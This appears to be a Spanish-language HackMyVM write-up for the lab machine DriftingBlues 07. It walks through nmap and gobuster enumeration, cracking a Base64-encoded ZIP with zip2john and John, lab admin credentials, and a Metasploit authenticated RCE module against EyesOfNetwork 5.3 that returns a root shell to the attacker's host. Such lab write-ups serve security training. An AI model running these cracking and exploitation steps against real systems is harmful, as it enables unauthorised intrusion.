cd ~/blog

~/writeups/hmv/100-driftingblues-07.md

100 - DriftingBlues 07

easy Linux hmvautor: Jordy Pérez Osorio aviso legal
Sensitive File Exposure mediante HTTPWeak Password en un archivo ZIPEyesOfNetwork 5.3 Authenticated RCE mediante AutoDiscovery
hackmyvm.eu/machines/machine.php?vm=DriftingBlues7

~1 min de lectura


Enumeración de servicios

La máquina expone una superficie amplia: SSH, varios servidores HTTP, MariaDB, InfluxDB y EyesOfNetwork sobre HTTPS. El puerto 66 ejecuta un servidor HTTP simple de Python, mientras que el título del 443 identifica el producto que más adelante podremos investigar:

❯ sudo nmap -p- -sS -n -Pn -oG 01-allPorts 192.168.1.19
❯ nmap -sCV -p22,66,80,111,443,2403,3306,8086 -oN 02-targeted.txt 192.168.1.19
Starting Nmap 7.94 ( https://nmap.org ) at 2024-05-25 22:05 -04
Nmap scan report for 192.168.1.19
Host is up (0.00031s latency).

PORT     STATE SERVICE         VERSION
22/tcp   open  ssh             OpenSSH 7.4 (protocol 2.0)
66/tcp   open  http            SimpleHTTPServer 0.6 (Python 2.7.5)
80/tcp   open  http            Apache httpd 2.4.6 ((CentOS) ...)
111/tcp  open  rpcbind         2-4 (RPC #100000)
443/tcp  open  ssl/http        Apache httpd 2.4.6 ((CentOS) ...)
| http-title: EyesOfNetwork
2403/tcp open  taskmaster2000?
3306/tcp open  mysql           MariaDB (unauthorized)
8086/tcp open  http            InfluxDB http admin 1.7.9
...

Exposición de archivos en el puerto 66

Enumeramos el servidor Python del puerto 66. Gobuster descubre las dos flags y un archivo llamado eon, todos accesibles sin autenticación:

❯ gobuster dir -u 'http://192.168.1.19:66/' -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,txt,html,jpg,jpeg,png,gif,zip -r
...
/user.txt             (Status: 200) [Size: 32]
/root.txt             (Status: 200) [Size: 32]
/eon                  (Status: 200) [Size: 248]
...

El contenido de eon es Base64. Tras decodificarlo identificamos un ZIP protegido por una Weak Password y lo guardamos como application.zip. zip2john extrae un hash atacable y John recupera killah:

❯ base64 -d eon > application.zip
❯ zip2john application.zip > hash
❯ sudo /opt/john/run/john -w=/home/wh01s17/Documentos/wordlists/rockyou.txt hash
...
killah           (application.zip/creds.txt)
...

Identificación de la vulnerabilidad en EyesOfNetwork

El archivo creds.txt del ZIP contiene las credenciales del panel EyesOfNetwork en el puerto 443:

admin
isitreal31__

Después de autenticarnos, buscamos exploits que coincidan con la versión 5.3; Searchsploit muestra varias alternativas, incluida una ejecución remota mediante AutoDiscovery:

❯ searchsploit eyes 5.3
...
EyesOfNetwork 5.3 - File Upload Remote Code Execution      | multiple/webapps/49432.sh
EyesOfNetwork 5.3 - RCE & PrivEsc                          | multiple/webapps/49402.txt
...

Explotación de AutoDiscovery

Las notas registran que los primeros exploits públicos probados no funcionaron. Conservando la sesión iniciada en el navegador, usamos el módulo de Metasploit correspondiente, indicamos el host objetivo y nuestra dirección de retorno, y ejecutamos la carga autenticada:

❯ msfconsole
msf6 > use exploit/linux/http/eyesofnetwork_autodiscovery_rce
msf6 exploit(linux/http/eyesofnetwork_autodiscovery_rce) > set rhosts 192.168.1.19
msf6 exploit(linux/http/eyesofnetwork_autodiscovery_rce) > set lhost 192.168.1.5
msf6 exploit(linux/http/eyesofnetwork_autodiscovery_rce) > run

El módulo abusa de la funcionalidad AutoDiscovery para ejecutar comandos con el contexto privilegiado del servicio y entrega una shell de root. Con esto completamos la máquina.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados